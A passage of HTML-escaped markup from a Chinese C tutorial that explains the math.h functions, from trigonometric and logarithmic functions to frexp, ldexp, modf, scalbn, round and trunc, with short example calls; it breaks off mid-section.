href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%89%E8%A7%92%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"三角函数\"\u003e\u003c/a\u003e三角函数\u003c/h3\u003e\u003cp\u003e以下是三角函数,参数为弧度值。\u003c/p\u003e\u003cul\u003e\u003cli\u003eacos():反余弦。\u003c/li\u003e\u003cli\u003easin():反正弦。\u003c/li\u003e\u003cli\u003eatan():反正切\u003c/li\u003e\u003cli\u003eatan2():反正切。\u003c/li\u003e\u003cli\u003ecos():余弦。\u003c/li\u003e\u003cli\u003esin():正弦。\u003c/li\u003e\u003cli\u003etan():正切。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e不要忘了,上面所有函数都有 float 版本(函数名加上 f 后缀)和 long double 版本(函数名加上 l 后缀)。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecos\u003c/span\u003e(PI/\u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0.707107\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"双曲函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%8C%E6%9B%B2%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"双曲函数\"\u003e\u003c/a\u003e双曲函数\u003c/h3\u003e\u003cp\u003e以下是双曲函数,参数都为浮点数。\u003c/p\u003e\u003cul\u003e\u003cli\u003eacosh():反双曲余弦。\u003c/li\u003e\u003cli\u003easinh():反双曲正弦。\u003c/li\u003e\u003cli\u003eatanh():反双曲正切。\u003c/li\u003e\u003cli\u003ecosh():双曲余弦。\u003c/li\u003e\u003cli\u003etanh():双曲正切。\u003c/li\u003e\u003cli\u003esinh():双曲正弦。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"指数函数和对数函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E6%95%B0%E5%87%BD%E6%95%B0%E5%92%8C%E5%AF%B9%E6%95%B0%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"指数函数和对数函数\"\u003e\u003c/a\u003e指数函数和对数函数\u003c/h3\u003e\u003cp\u003e以下是指数函数和对数函数,它们的返回值都是 double 类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eexp():计算欧拉数 e 的乘方,即 e\u003csup\u003ex\u003c/sup\u003e。\u003c/li\u003e\u003cli\u003eexp2():计算 2 的乘方,即 2\u003csup\u003ex\u003c/sup\u003e。\u003c/li\u003e\u003cli\u003eexpm1():计算 e\u003csup\u003ex\u003c/sup\u003e - 1。\u003c/li\u003e\u003cli\u003elog():计算自然对数,\u003ccode\u003eexp()\u003c/code\u003e的逆运算。\u003c/li\u003e\u003cli\u003elog2():计算以2为底的对数。\u003c/li\u003e\u003cli\u003elog10():计算以10为底的对数。\u003c/li\u003e\u003cli\u003elogp1():计算一个数加 1 的自然对数,即\u003ccode\u003eln(x + 1)\u003c/code\u003e。\u003c/li\u003e\u003cli\u003elogb():计算以宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e(一般为2)为底的对数,但只返回整数部分。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 20.085500\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003elog\u003c/span\u003e(\u003cspan class=\"number\"\u003e20.0855\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003elog10\u003c/span\u003e(\u003cspan class=\"number\"\u003e10000\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果结果值超出了 C 语言可以表示的最大值,函数将返回\u003ccode\u003eHUGE_VAL\u003c/code\u003e,它是一个在\u003ccode\u003emath.h\u003c/code\u003e中定义的 double 类型的值。\u003c/p\u003e\u003cp\u003e如果结果值太小,无法用 double 值表示,函数将返回0。以上这两种情况都属于出错。\u003c/p\u003e\u003ch3 id=\"frexp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#frexp\" class=\"headerlink\" title=\"frexp()\"\u003e\u003c/a\u003efrexp()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efrexp()\u003c/code\u003e将参数分解成浮点数和指数部分(2为底数),比如 1234.56 可以写成 0.6028125 * 2\u003csup\u003e11\u003c/sup\u003e,这个函数就能分解出 0.6028125 和 11。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efrexp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e value, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"built_in\"\u003eexp\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是用来分解的浮点数,第二个参数是一个整数变量指针。\u003c/p\u003e\u003cp\u003e它返回小数部分,并将指数部分放入变量\u003ccode\u003eexp\u003c/code\u003e。如果参数为\u003ccode\u003e0\u003c/code\u003e,则返回的小数部分和指数部分都为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e frac;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e expt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// expt 的值是 11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efrac = \u003cspan class=\"built_in\"\u003efrexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e1234.56\u003c/span\u003e, \u0026amp;expt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 1234.56 = 0.6028125 x 2^11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;1234.56 = %.7f x 2^%d\\n\u0026#34;\u003c/span\u003e, frac, expt);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ilogb\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ilogb\" class=\"headerlink\" title=\"ilogb()\"\u003e\u003c/a\u003eilogb()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eilogb()\u003c/code\u003e返回一个浮点数的指数部分,指数的基数是宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e(一般是\u003ccode\u003e2\u003c/code\u003e)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eilogb\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数为\u003ccode\u003ex\u003c/code\u003e,返回值是 log\u003csub\u003er\u003c/sub\u003e|x|,其中\u003ccode\u003er\u003c/code\u003e为宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eilogb(\u003cspan class=\"number\"\u003e257\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eilogb(\u003cspan class=\"number\"\u003e256\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eilogb(\u003cspan class=\"number\"\u003e255\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 7\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ldexp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ldexp\" class=\"headerlink\" title=\"ldexp()\"\u003e\u003c/a\u003eldexp()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eldexp()\u003c/code\u003e将一个数乘以2的乘方。它可以看成是\u003ccode\u003efrexp()\u003c/code\u003e的逆运算,将小数部分和指数部分合成一个\u003ccode\u003ef * 2^n\u003c/code\u003e形式的浮点数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eldexp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexp\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是乘数\u003ccode\u003ex\u003c/code\u003e,第二个参数是2的指数部分\u003ccode\u003eexp\u003c/code\u003e,返回“x * 2\u003csup\u003eexp\u003c/sup\u003e”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1024.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 12.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e0.75\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 12.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e0.5\u003c/span\u003e, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0.250000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"modf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#modf\" class=\"headerlink\" title=\"modf()\"\u003e\u003c/a\u003emodf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003emodf()\u003c/code\u003e函数提取一个数的整数部分和小数部分。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003emodf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e value, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e* iptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数\u003ccode\u003evalue\u003c/code\u003e表示待分解的数值,第二个参数是浮点数变量\u003ccode\u003eiptr\u003c/code\u003e。返回值是\u003ccode\u003evalue\u003c/code\u003e的小数部分,整数部分放入变量\u003ccode\u003edouble\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// int_part 的值是 3.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emodf\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e, \u0026amp;int_part); \u003cspan class=\"comment\"\u003e// 返回 0.14159\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"scalbn\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#scalbn\" class=\"headerlink\" title=\"scalbn()\"\u003e\u003c/a\u003escalbn()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003escalbn()\u003c/code\u003e用来计算“x * r\u003csup\u003en\u003c/sup\u003e”,其中\u003ccode\u003er\u003c/code\u003e是宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003escalbn\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数\u003ccode\u003ex\u003c/code\u003e是乘数部分,第二个参数\u003ccode\u003en\u003c/code\u003e是指数部分,返回值是“x * r\u003csup\u003en\u003c/sup\u003e”。\u003c/p\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escalbn(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 512.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数有多个版本。\u003c/p\u003e\u003cul\u003e\u003cli\u003escalbn():指数 n 是 int 类型。\u003c/li\u003e\u003cli\u003escalbnf():float 版本的 scalbn()。\u003c/li\u003e\u003cli\u003escalbnl():long double 版本的 scalbn()。\u003c/li\u003e\u003cli\u003escalbln():指数 n 是 long int 类型。\u003c/li\u003e\u003cli\u003escalblnf():float 版本的 scalbln()。\u003c/li\u003e\u003cli\u003escalblnl():long double 版本的 scalbln()。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"round\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#round\" class=\"headerlink\" title=\"round()\"\u003e\u003c/a\u003eround()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eround()\u003c/code\u003e函数以传统方式进行四舍五入,比如\u003ccode\u003e1.5\u003c/code\u003e舍入到\u003ccode\u003e2\u003c/code\u003e,\u003ccode\u003e-1.5\u003c/code\u003e舍入到\u003ccode\u003e-2\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eround\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它返回一个浮点数。\u003c/p\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e3.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e3.5\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 4.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e-1.5\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -2.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e-1.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它还有一些其他版本。\u003c/p\u003e\u003cul\u003e\u003cli\u003elround():返回值是 long int 类型。\u003c/li\u003e\u003cli\u003ellround():返回值是 long long int 类型。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"trunc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#trunc\" class=\"headerlink\" title=\"trunc()\"\u003e\u003c/a\u003etrunc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etrunc()\u003c/code\u003e用来截去一个浮点数的小数部分,将剩下的整数部分以浮点数的形式返回。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003etrunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan 